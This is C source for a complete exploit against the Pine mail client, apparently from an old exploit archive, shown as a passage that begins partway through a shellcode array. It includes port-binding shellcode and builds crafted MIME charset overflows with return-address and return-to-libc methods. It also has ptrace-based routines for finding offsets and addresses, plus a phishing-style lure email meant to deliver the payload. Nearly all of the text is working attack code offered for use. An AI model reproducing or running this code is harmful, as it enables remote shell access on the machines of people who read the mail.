"\xd3\x89\xc1\xb0\x06\x89\xc8\x31\xd2\x52\x68\x70\x74\x6d\x78\x68\x64\x65"
"\x76\x2f\x68\x2f\x2f\x2f\x2f\x31\xc9\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89"
"\xc6\x52\x89\xe2\xb9\x31\x54\x04\x40\x89\xf3\xb0\x36\xcd\x80\x89\xe2\xb9"
"\x30\x54\x04\x80\xb0\x36\xcd\x80\x59\x83\xc1\x30\xc1\xe1\x18\xba\x01\x74"
"\x73\x2f\xc1\xea\x08\x01\xca\x31\xc9\x51\x52\x31\xd2\x68\x65\x76\x2f\x70"
"\x68\x2f\x2f\x2f\x64\xb1\x02\x89\xe3\xb0\x05\xcd\x80\x89\xc2\xb0\x02\xcd"
"\x80\x31\xc9\x39\xc8\x75\x3f\xb0\x42\xcd\x80\xb1\x03\x31\xc0\x89\xd3\xb0"
"\x3f\x49\xcd\x80\x41\xe2\xf8\x89\xd3\xb0\x06\xcd\x80\x89\xf3\xb0\x06\xcd"
"\x80\x89\xfb\xb0\x06\xcd\x80\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80\x89\xd3"
"\x31\xc0\xb0\x06\xcd\x80\x83\xec\x50\x31\xc9\xf7\xe1\x31\xdb\x89\xf9\x43"
"\xd3\xe3\x01\xd8\x89\xf1\x31\xdb\x43\xd3\xe3\x01\xd8\x50\x89\xda\x89\xcb"
"\x43\x89\xe1\x52\x57\x56\x31\xff\x31\xf6\x31\xc0\x99\xb0\x8e\xcd\x80\x5e"
"\x5f\x5b\x58\x21\xd8\x31\xdb\x39\xc3\x75\x1b\xb2\x50\x89\xe1\x89\xfb\x31"
"\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c\x26\x89\xc2\x89\xf3\xb0\x04\xcd\x80"
"\xeb\xad\xb2\x50\x89\xe1\x89\xf3\x31\xc0\xb0\x03\xcd\x80\x83\xf8\x01\x7c"
"\x0b\x90\x89\xc2\x89\xfb\xb0\x04\xcd\x80\xeb\x91\x31\xc0\x40\xcd\x80";
/* cause a break and have a "test" number to check */
char testsc[] = "\xcc\x01\x02\x03\x04";
struct bss {
int start;
int end;
};
char mail[6666]; /* this is basically the "egg" */
void die(int i, char *m) {
if(i)
perror(m);
else
printf("%s\n",m);
exit(0);
}
/*
* prepare boring part of email
*
*/
void prepare_mail(char *from, char *sub, char *to) {
snprintf(mail,sizeof(mail),
"From: %s\n"
"Subject: %s\n"
"To: %s\n"
"MIME-Version: 1.0\n"
"Content-Type: multipart/related;\n"
" type=\"multipart/alternative\";\n"
" boundary=sorbo-rox\n\n"
"--sorbo-rox\n",from,sub,to);
}
/*
* ok here da tricky bit
* arg: number of bytes (distance)
*
* it returns a positive unsigned int
* that becomes negative when singed
* that when *4 becomes signed
* matching our distance
* yeah kinda dirty... i hate numbers ;D
* w00t
*
*/
unsigned int num(int dist) {
int tmp = -1-dist;
unsigned int border = tmp;
int neg = (border/4)*(-1);
unsigned int res;
res = 0xffffffff+neg;
return res;
}
/*
* ret-to-libc system() grsex 0wned
*
* we overwrite ebp
* we control esp (heap)
* we make stack perfect and make it ret to system
*
*
* conditions plist must be writable (bss is ok)
* we must know addr of ptr to our command (bss is fixed)
*
* NOTE: segfault after shell is NORMAL since it will return to plist addr
*
*/
void own_hard(int sys, int plist, int cmd, int dist, char *command) {
char egg[1024];
int *ptr = (int*)&egg[0];
*ptr = 0x41414141; /* ebp */
ptr++;
*ptr = sys; /* system */
ptr++;
*ptr = plist; /* ret / plist */
ptr++;
*ptr = cmd; /* /bin/sh */
ptr++;
*ptr = 0;
/* practice: exploit this exploit =D */
sprintf(mail+strlen(mail),
"Content-Type: message/external-body;\n"
" access-type=\"%s\";\n"
" charset*%u*=\"%s\";\n"
"Content-Transfer-Encoding: 8bit\n"
"--sorbo-rox--\n",
command,num(dist), egg);
}
/*
* we overwrite ret addr and own it
* no offset needed since we control area pointer by ret directly
* well we do need the stack distance from params to eip
*
*/
void own_easy(int dist, char *s) {
/* practice: exploit this exploit =D */
sprintf(mail+strlen(mail),
"Content-Type: text/html;\n"
" charset*%u*=\"%s\";\n"
"Content-Transfer-Encoding: 8bit\n"
"--sorbo-rox--\n",
num(dist), s);
}
/* create a lame pinerc */
void pinerc() {
int pid;
pid = fork();
if(pid == -1)
die(1,"fork()");
if(!pid) {
char *arg[] = { "pine","-p","/tmp/pinerc", NULL };
close(1);
close(2);
execve(PINE,arg,NULL);
die(1,"execve()");
}
else {
sleep(1);
kill(pid,SIGKILL);
wait(NULL);
}
if(system("grep -v inbox-path /tmp/pinerc > /tmp/o "
"&& mv /tmp/o /tmp/pinerc && "
"echo inbox-path=/tmp/meil >> /tmp/pinerc")<0)
die(1,"system()");
}
void write_mail(char *path) {
FILE *f;
f = fopen(path,"w");
if(!f)
die(1,"fopen()");
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s",mail) < 1)
die(1,"fprintf()");
fclose(f);
}
char *line;
/* get a free tty */
int getty(int *master, int *slave) {
if ((*master = open("/dev/ptmx", O_RDWR)) == -1)
return -1;
if (grantpt(*master) == -1 ||
unlockpt(*master) == -1 ||
(line = (char*)ptsname(*master)) == NULL ||
(*slave = open(line, O_RDWR)) == -1) {
close(*master);
return -1;
}
return 0;
}
/* fire up debugged process (and continue && wait) */
int start_debug(int cont) {
int pid = fork();
int slave,master;
/* we associate it to tty cuz ncurses fucks up screen */
if( getty(&master,&slave) == -1)
die(0,"getty()");
if(pid == -1)
die(1,"fork()");
/* child */
if(!pid) {
char *arg[] = { "pine", "-p","/tmp/pinerc","-I",
"l,>,>,<,<,q,y",NULL };
if(ptrace(PTRACE_TRACEME,NULL,NULL)==-1)
die(1,"ptrace()");
if ((pid = open(line, O_RDWR)) == -1)
die(1,"open()");
dup2(pid,0);
close(1);
close(2);
execv(PINE,arg);
die(1,"execve()");
}
else {
wait(NULL);
if(cont) {
if(ptrace(PTRACE_CONT,pid,0,0) == -1)
die(1,"ptrace()");
wait(NULL);
}
}
return pid;
}
void stop_debug(int pid) {
if(ptrace(PTRACE_KILL,pid,0,0) == -1)
die(1,"ptrace()");
wait(NULL);
}
/*
* 0 = nope
* 1 = yea
* duh ;D
*
*/
int test_dist() {
struct user_regs_struct regs;
int x;
int pid = start_debug(1);
if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1)
return 0; /* exited normally prolly */
// printf("EIP=%x\n",regs.eip);
x = ptrace(PTRACE_PEEKTEXT,pid,regs.eip,NULL);
if(x == -1 && errno != 0 && errno != EIO)
die(1,"ptrace()");
// printf("INSTR=%x\n",x);
stop_debug(pid);
if(x == *((int*)&testsc[1]))
return 1;
return 0;
}
/* popen and get line */
char *getShit(char *cmd) {
FILE *f;
static char buff[1024];
f = popen(cmd,"r");
if(f == NULL) {
perror("popen");
exit(0);
}
buff[0] = 0;
fgets(buff,sizeof(buff),f);
pclose(f);
return &buff[0];
}
/* get a number from a popen */
int getInt(char *p) {
char *ptr = getShit(p);
int ret = 0;
if(sscanf(ptr,"%x",&ret)!=1) {
printf("Error in getting addr\n");
exit(0);
}
return ret;
}
/* get start and end of bss */
struct bss getbss() {
struct bss b;
b.start = getInt("objdump --headers "
PINE" | grep \" .bss\" | awk '{print $4}'");
b.end = getInt("objdump --headers "
PINE" | grep \" .bss\" | awk '{print $3}'");
b.end += b.start;
return b;
}
/* find our buff (command) in the process memory .bss */
int findbuf(int ebp) {
struct bss b;
int pid;
int cmd = 0x12345678;
int addr;
int ret = -1;
struct user_regs_struct regs;
int x;
b = getbss();
printf(".bss START =0x%.8x END=0x%.8x\n",b.start,b.end);
prepare_mail("from","subj","to");
own_hard(0x41414141,b.start,b.start,ebp,(char*)&cmd);
write_mail("/tmp/meil");
addr = b.start;
pid = start_debug(1);
if(ptrace(PTRACE_GETREGS,pid,NULL,®s)==-1)
return -1; /* exited normally prolly */
// printf("EIP=%x\n",regs.eip);
if(regs.eip != 0x41414141)
return -1;
for(addr = b.start; addr < b.end; addr++) {
printf("Checking 0x%.8x\r",addr);
fflush(stdout);
x = ptrace(PTRACE_PEEKTEXT,pid,addr,NULL);
if(x == -1 && errno != 0)
die(1,"ptrace()");
if(x == cmd) {
ret = addr;
break;
}
}
stop_debug(pid);
putchar('\n');
return ret;
}
/* get system from libc */
int getSystem() {
int base;
int offset;
char tmp[1024*2];
char libc[512];
/* binary specific */
base = getInt("ldd " PINE
" | grep \"libc\\.\" | awk '{print $4}' | tr -d \"()\"");
// printf("GLIBC base addr 0x%.8x\n",base);
/* get libc path */
snprintf(libc,sizeof(libc),"%s",getShit("ldd " PINE
" | grep \"libc\\.\" | awk '{print $3}'"));
if(strlen(libc) <2) {
printf("can't get libc location\n");
exit(0);
}
libc[strlen(libc)-1] = 0;
/* lib specific */
snprintf(tmp,sizeof(tmp),"objdump -T %s | grep \\ system | "
"awk '{print $1}' ",libc);
offset = getInt(tmp);
// printf("GLIBC __libc_system offset 0x%.8x\n",offset);
offset += base;
// printf("system() addr 0x%.8x\n",offset);
return offset;
}
/* check if offset contains non usable chars */
int isUsable(int x) {
int i,j;
for(i = 0; i < sizeof(x); i++)
for(j =0; j < sizeof(nonusable); j++)
if( *(((unsigned char*)&x)+i) == nonusable[j])
return 0;
return 1;
}
/* get various system offsets */
int *getSystemOffsets() {
static int off[3];
int pid;
int x;
off[0] = getSystem();
off[1] = getInt("objdump -T "PINE" | grep system | awk '{print $1}'");
off[2] = getInt("objdump -R "PINE" | grep system | awk '{print $1}'");
pid = start_debug(0);
x = ptrace(PTRACE_PEEKTEXT,pid,off[2],NULL);
if(x == -1 && errno != 0)
die(1,"ptrace()");
off[2] = x;
stop_debug(pid);
return &off[0];
}
/* get target from local pine */
struct target_info getTarget() {
struct target_info target;
int *sysa;
int i;
char os[512];
/* get a description of target */
snprintf(os,sizeof(os),getShit("uname -sr | tr -d '\n'"));
snprintf(target.desc,sizeof(target.desc),"%s Pine %s",os,
getShit(PINE" -v | awk '{print $2}' | tr -d '\n'"));
printf("Trying to own: %s\n",target.desc);
pinerc();
/* find stack dist from params -> eip */
printf("Searching stack distance\n");
for(target.dist = 4; target.dist < 1024; target.dist+=4) {
prepare_mail("from","subj","to");
own_easy(target.dist,testsc);
write_mail("/tmp/meil");
printf("Testing target.dist %d\r",target.dist);
fflush(stdout);
if(test_dist())
break;
}
printf("\n");
if(target.dist == 1024)
die(1,"Can't find dist");
printf("DIST=%d\n\n",target.dist);
printf("Ok theoretically we can exploit it the easy way\n"
"looking for hard way shit now\n\n");
/* find our buffer on bss ebp should b eip-4 */
target.buff = findbuf(target.dist-4);
target.method = 0;
if(target.buff != -1) {
target.method = 1;
if(!isUsable(target.buff) || !isUsable(target.buff-PLIST))
die(0,"TODO: addr not usuable... trivial to fix");
printf("Our command will lie in 0x%.8x\n\n",target.buff);
/* find usable system() addr */
printf("Obtaining system() addr list\n");
sysa = getSystemOffsets();
for(i = 0; i < 3; i++) {
int usable = isUsable(sysa[i]);
printf("System %d:0x%.8x %s\n",i,sysa[i],
usable?"OK":"NOT OK");
if(usable)
target.sys = sysa[i];
}
printf("Will use 0x%.8x\n\n",target.sys);
}
else
printf("Unable to do things the hard way =(\n");
unlink("/tmp/pinerc");
unlink("/tmp/meil");
printf("Summary of targets for this system:\n"
"{ \"%s\",0,%d,0,0},\n",target.desc,target.dist);
if(target.method)
printf("{ \"%s\",1,%d,0x%.8x,0x%.8x}\n",
target.desc,target.dist-4,target.buff,target.sys);
return target;
}
/* yeah kids luv this */
void skriptkiddie_s0lar() {
char *mbox;
FILE *f;
struct target_info target;
printf("O shit... is it s0lar running this exp again?\n"
"not even a -h? ok lets make her happy and make everyhing magically work\n"
"WARNING: need write axx on /tmp and use of gdb (no grsec high)\n\n");
target = getTarget();
mbox = (char*)getenv("MAIL");
if(!mbox)
die(0,"getenv()");
printf("Attempting to write mails to %s\n",mbox);
f = fopen(mbox,"a");
if(!f)
die(1,"fopen()");
/* first mail (easy) */
prepare_mail("Andrei Koymaski <andrei gay ru>",
"Easy method portbind 6682","Gustavo Lamazza <gustavo gay it>");
own_easy(target.dist,shellcode);
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s\n",mail)<1)
die(1,"fprintf()");
/* second mail (hard)
* we run vi and then
* :!/bin/sh
* cuz we don't have enough space to make a bindshell and shit
*/
if(target.method) {
prepare_mail("Osama Bin Laden <osama al-quaeda ar>",
"Hard method (owns grsec) portbind 6682 with vi... spawn shell from vi",
"George Bush <george whitehouse gov>");
own_hard(target.sys,target.buff-PLIST,target.buff,
target.dist-4,
lame_cmd);
if(fprintf(f,"From sorbo Tue Nov 29 00:00:00 1983\n%s\n",mail)<1)
die(1,"fprintf()");
}
printf("You should have mail... read with pine and see if this"
" crap worx\n");
printf("Enjoy.... s0lar ti amo\n");
exit(0);
}
void listTargets() {
int i;
printf( "Id\tDescription\tMethod\tDist\tBuff\t\tsystem()\n"
"========================================================================\n");
for(i =0; i < sizeof(targets)/sizeof(struct target_info); i++) {
printf("%d\t%s\t%s\t%d\t0x%.8x\t0x%.8x\n",
i,targets[i].desc,targets[i].method?"hard":"easy",
targets[i].dist,targets[i].buff,targets[i].sys);
}
}
/* own a target */
void own(struct target_info t,char *from,char *sub,char *to) {
prepare_mail(from,sub,to);
/* hard */
switch(t.method) {
case 1:
own_hard(t.sys,t.buff-PLIST,t.buff,t.dist,lame_cmd);
break;
case 0:
own_easy(t.dist,shellcode);
break;
default:
die(0,"Unknown ownage method");
}
printf("%s",mail);
}
void usage(char *m) {
printf("Usage: %s <opts>\n"
"-h\tthis lame message\n"
"-f\tfrom\n"
"-t\tto\n"
"-s\tsub\n"
"-o\ttarget\n"
"-m\tmethod 0:easy 1:hard(grsex)\n"
"-d\tdist\n"
"-b\tbuff\n"
"-l\tsystem\n\n"
,m);
listTargets();
}
int main(int argc, char *argv[]) {
char from[512];
char to[512];
char sub[512];
int opt;
struct target_info t;
struct target_info *target = &t; /* we shall own this */
strcpy(from,"Justin Time <admin playboy com>");
strcpy(to,"You <winners playboy com>");
strcpy(sub,"You are selected! Come get your FREE playboy.com account");
t.method = -1;
t.buff = 0;
t.sys = 0;
t.dist = 0;
fprintf(stderr,"(remote?) Pine <= 4.56 exploit "
"by sorbo (sorbox yahoo com)\np s grsec won't save you =(\n\n");
if(argc<2)
skriptkiddie_s0lar();
while( (opt = getopt(argc,argv,"hf:t:s:o:m:d:b:l:")) != -1) {
switch(opt) {
default:
case 'h':
usage(argv[0]);
exit(0);
case 'm':
t.method = atoi(optarg);
break;
case 'd':
t.dist = atoi(optarg);
break;
case 'b':
if(sscanf(optarg,"%x",&t.buff) != 1)
die(0,"Can't parse buff addr");
break;
case 'l':
if(sscanf(optarg,"%x",&t.sys) != 1)
die(0,"Can't parse sys addr");
break;
case 'f':
/* does snprintf put the 0 at end if arg
* barely fits ? i never really looked into
* this... hope it does! ;D
*/
snprintf(from,sizeof(from),"%s",optarg);
break;
case 't':
snprintf(to,sizeof(to),"%s",optarg);
break;
case 's':
snprintf(sub,sizeof(sub),"%s",optarg);
break;
case 'o': {
unsigned int o = atoi(optarg);
if(o >=
sizeof(targets)/sizeof(struct target_info))
die(0,"Target outta range");
target = &targets[o];
break;
}
}
}
/* check if we got all we need */
if(target == &t) {
if(!t.dist)
die(0,"provide dist");
if(t.method == 1)
if(!t.buff || !t.sys)
die(0,"buff or sys not provided");
}
/* go for it */
own(*target,from,sub,to);
exit(0);
}
// milw0rm.com [2003-09-16]